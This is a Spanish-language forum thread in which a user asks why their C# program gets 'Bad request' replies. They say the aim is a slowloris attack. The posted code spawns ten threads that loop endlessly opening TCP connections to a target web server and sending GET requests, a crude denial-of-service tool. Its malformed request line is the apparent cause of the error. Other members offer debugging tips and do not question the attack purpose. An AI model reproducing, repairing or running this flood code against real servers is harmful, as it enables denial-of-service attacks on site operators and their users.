Solicitud Incorrecta c#

Iniciado por Jeezy, 8 Octubre 2018, 21:44 PM

0 Miembros y 1 Visitante están viendo este tema.

Jeezy

Hola, hice una conexión con tcp client hacia un servidor web y enviarle bytes mediante networkstream.write pero el servidor me devuelve el mensaje

HTTP / 1.0 Bad request, supongo que me rechazo la conexión como podría solucionar eso para poder enviar sin problema los packets y no me rechaza la conexión(slowloris)

MeTaD

Quizás te estas olvidando de los headers...

Jeezy

Cita de: MeTaD en  8 Octubre 2018, 23:06 PM
Quizás te estas olvidando de los headers...

Este es el codigo que estoy utilizando y creo que se encuentra todo bien, pero me rechaza la solicitud la pagina web. Como podria solucionar este error (Bad request).

        private static void InitClient()
        {
                for (int i = 0; i < 10; i++)
               {
                    new Thread(() =>
                     {
                         try
                         {
                             while (true)
                             {
                                 try
                                 {
                                     using (TcpClient client = new TcpClient())
                                     {
                                         client.Connect(HostOrIP, 80);
                                         client.GetStream();
                                         NetworkStream ns = client.GetStream();
                                         string All = "GET" + "/index.php?q=test" + " HTTP/1.1\r\n";
                                         All += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\r\n";
                                         All += "Accept:*.*\r\n";
                                         All += "Host: web.info\r\n\r\n";
                                         byte[] headers = Encoding.Default.GetBytes(All);
                                         ns.Write(headers, 0, headers.Length);
                                         Console.WriteLine("+");
                                     }
                                 }
                                 catch(Exception ex)
                                 {
                                     Console.WriteLine(ex.Message);
                                 }
                                 Thread.Sleep(1000);
                             }
                         }
                         catch (Exception ex)
                         {
                             Console.ForegroundColor = ConsoleColor.Red;
                             Console.WriteLine(ex.Message);
                         }
                     }).Start();
                }
        }

ThunderCls

Pues el error lo dice todo :¬¬ el servidor no esta recibiendo la peticion de la forma que la espera
Te recomiendo usar un depurador http (HTTP Debugger Pro o simplemente Google Chrome Dev Tools) y comprobar que estas haciendo la peticion de la manera esperada haciendo el proceso directamente desde el navegador, luego intenta duplicar lo mismo desde tu aplicacion
-[ "...I can only show you the door. You're the one that has to walk through it." – Morpheus (The Matrix) ]-
http://reversec0de.wordpress.com
https://github.com/ThunderCls/